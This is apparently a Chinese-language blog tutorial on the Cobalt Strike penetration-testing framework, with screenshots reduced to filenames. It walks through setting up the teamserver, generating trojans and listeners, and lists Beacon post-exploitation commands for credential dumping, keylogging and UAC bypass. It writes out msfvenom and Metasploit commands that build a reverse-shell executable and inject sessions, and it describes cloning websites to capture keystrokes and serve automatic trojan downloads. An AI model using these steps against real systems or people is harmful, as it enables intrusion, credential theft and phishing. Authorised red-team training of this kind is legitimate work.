Cobalt-Strike

Cobalt Strike

前置知识

CS介绍

Cobalt Strike是美国Red Team开发的渗透测试神器,简称cs,是一款渗透神器。

主要用于后渗透方面的攻击,且具备团队作战的功能

官网地址

Cobalt Strike的特点:

团队协作功能

丰富的生成木马模块:可生成exe,dll,powershell,hta,图片捆绑,bad USB,vba宏木马,以及shellcode等;

钓鱼攻击及探针模块:自动化挂马链接生成,自动化钓鱼及探针;

后渗透攻击模块:浏览器进程代理、文件操作、提权模块、跳板、DLL进程注入、端口转发、内网端口扫描、socks代理、令牌窃取利用、mimikatz套件等;

环境搭建

image-20240821145743885

点后

image-20240821145808567

这个是客户端

image-20240821145835564

文件夹里这个是服务端

当多个客户端连接上同一个服务端(团队渗透)时 一台客户端获得的权限其他客户端也可以获得(权限共享)

在cobalt strike中,服务端最好运行在linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar将这两个文件放在同一目录下运行运行服务端命令:(4.5以前 4.5以后增TeamServerImage)

./teamserver [/path/to/c2.profile] [YYYY-MM-DD]

必需参数 团队服务器IP

必需参数 连接服务器的密码

[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性

[YYYY-MM-DD] 可选参数 所有payload的终止时间

也可以放在云服务器上

这里还是放在kali上

解压

image-20240821151152729

进到解压后的文件夹里

image-20240821151316567

比较重要的是:

  • teamserver
  • TeamServerImage

注意这里要把这两个文件权限设置成777 不然打开不了

image-20240821151622189

这样我们就可以开启服务端了 按上面写的

./teamserver

./teamserver 192.168.49.133 123456

image-20240821152324319

好 到这里服务端就可以了

现在我们打开客户端

image-20240821152553919

端口用默认的50050就行

别名可以自己改个用于区分的名字

然后连接

image-20240821160734735

会直接进来

image-20240821161155329

使用

使用手册

监听器

image-20240821161741117

监听器可以生成木马拿下权限

先选载荷

image-20240821161915169

生成

image-20240821162029170

然后要给他一个路径

image-20240821162058753

攻击者一旦点击木马 我们就会监听到

image-20240821162242336

注意last 这个表示我们执行命令的时间 这里也就是我们的命令要8s才执行

所以我们要改回连间隔

image-20240821162625770

改成1

image-20240821162703987

会话交互

image-20240821162749902

可以使用beacon命令

Beacon Commands

Command Description


argue 进程参数欺骗

blockdlls 在子进程中阻止非Microsoft的DLLs文件

browserpivot 注入受害者浏览器进程

bypassuac 绕过UAC

cancel 取消正在进行的下载

cd 切换目录

checkin 强制让被控端回连一次

clear 清除beacon内部的任务队列

connect 通过TCP连接到Beacon

covertvpn 部署Covert VPN客户端

cp 复制文件

dcsync 从DC中提取密码哈希

desktop 远程VNC

dllinject 反射DLL注入进程

dllload 使用LoadLibrary将DLL加载到进程中

download 下载文件

downloads 列出正在进行的文件下载

drives 列出目标盘符

elevate 尝试提权

execute 在目标上执行程序(无输出)

execute-assembly 在目标上内存中执行本地.NET程序

exit 退出beacon

getprivs 对当前令牌启用系统权限

getsystem 尝试获取SYSTEM权限

getuid 获取用户ID

hashdump 转储密码哈希值

help 帮助

inject 在特定进程中生成会话

jobkill 杀死一个后台任务

jobs 列出后台任务

kerberos_ccache_use 从ccache文件中导入票据应用于此会话

kerberos_ticket_purge 清除当前会话的票据

kerberos_ticket_use 从ticket文件中导入票据应用于此会话

keylogger 键盘记录

kill 结束进程

link 通过命名管道连接到Beacon

logonpasswords 使用mimikatz转储凭据和哈希值

ls 列出文件

make_token 创建令牌以传递凭据

mimikatz 运行mimikatz

mkdir 创建一个目录

mode dns 使用DNS A作为通信通道(仅限DNS beacon)

mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)

mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)

mode http 使用HTTP作为通信通道

mv 移动文件

net net命令

note 给当前目标机器备注

portscan 进行端口扫描

powerpick 通过Unmanaged PowerShell执行命令

powershell 通过powershell.exe执行命令

powershell-import 导入powershell脚本

ppid 为生成的post-ex任务设置父PID

ps 显示进程列表

psexec 使用服务在主机上生成会话

psexec_psh 使用PowerShell在主机上生成会话

psinject 在特定进程中执行PowerShell命令

pth 使用Mimikatz进行传递哈希

pwd 当前目录位置

reg 查询注册表

rev2self 恢复原始令牌

rm 删除文件或文件夹

rportfwd 端口转发

run 在目标上执行程序(返回输出)

runas 以另一个用户权限执行程序

runasadmin 在高权限下执行程序

runu 在另一个PID下执行程序

screenshot 屏幕截图

setenv 设置环境变量

shell cmd执行命令

shinject 将shellcode注入进程

shspawn 生成进程并将shellcode注入其中

sleep 设置睡眠延迟时间

socks 启动SOCKS4代理

socks stop 停止SOCKS4

spawn 生成一个会话

spawnas 以其他用户身份生成会话

spawnto 将可执行程序注入进程

spawnu 在另一个PID下生成会话

ssh 使用ssh连接远程主机

ssh-key 使用密钥连接远程主机

steal_token 从进程中窃取令牌

timestomp 将一个文件时间戳应用到另一个文件

unlink 断开与Beacon的连接

upload 上传文件

会话转移

CS转MSF

首先要创建一个监听器

image-20240821173418717

注意 payload要选foreign 端口随便设 ip是服务器ip

然后到MSF里

进到multi/handler里

use exploit/multi/handler

然后设置payload

set payload windows/meterpreter/reverse_http

设置cs服务端地址

set lhost 192.168.10.127

设置监听器端口号

set lport 6969

run

image-20240821174204853

回到cs

把想转的会话新建会话

image-20240821174304972

选刚刚新建的监听器

image-20240821174423537

他会自动的找kali

image-20240821174452914

成功

MSF转CS

CS先创建一个监听器 用Beacon

image-20240821180332928

同样 MSF先生成一个木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.172 lport=9999 -f exe -o xiaoming.exe

image-20240821174744035

multi/handler监听

image-20240821175008410

记得把payload改成tcp

上线

image-20240821175133770

先给他挂到后台

background

这里要进到一个新模块:

exploit/windows/local/payload_inject

use exploit/windows/local/payload_inject

image-20240821175510719

这里需要设置

payload: windows/meterpreter/reverse_http

session: session 4

lhost: 192.168.10.172(cs服务端ip)

lport: 9696(cs创的监听器端口)

disablepayloadhandler:

image-20240821180009511

回到CS

多了一个MSF的会话

image-20240821180126549

成功

钓鱼攻击

信息收集

image-20240821181350379

image-20240821181441521

当访问ip/baidu时就会跳转到www.baidu.com

image-20240821181547875

会留下一些信息

image-20240821181635624

应用程序中有

image-20240821181705169

现在我们来克隆

image-20240821181301367

填一下信息 克隆

image-20240821182733064

得到地址

image-20240821181902081

当访问这个地址时 看到的和克隆的一样

当在这个地址输入东西时会留下痕迹

image-20240821182042389

键盘记录:

image-20240821182100986

文件托管

image-20240821182330019

可以选一个木马文件

image-20240821182456076

同样给了一个地址

image-20240821182531782

访问这个地址会自动下载这个木马

现在我们可以结合克隆的网站

image-20240821182739715

攻击这里可以选择我们刚刚生成的文件

image-20240821182805525

这样也会自动下载木马

脚本

CS添加脚本后会很猛

image-20240821183100324

脚本管理器

点下面的加载

加载自己的脚本

CS文件夹里有一些自带的脚本

image-20240821183418379

这些文件夹里有.cna文件

image-20240821183600048

加载这个就行

image-20240821183652483

加载后会有新东西

image-20240821183753185

其他

image-20240821163815976

还可以抓hash

提权

image-20240821163917892

带*的是system权限

还有vnc

image-20240821164308872

包括进程注入

下面进程–>监听器

image-20240821164741601

注入成功

image-20240821164831828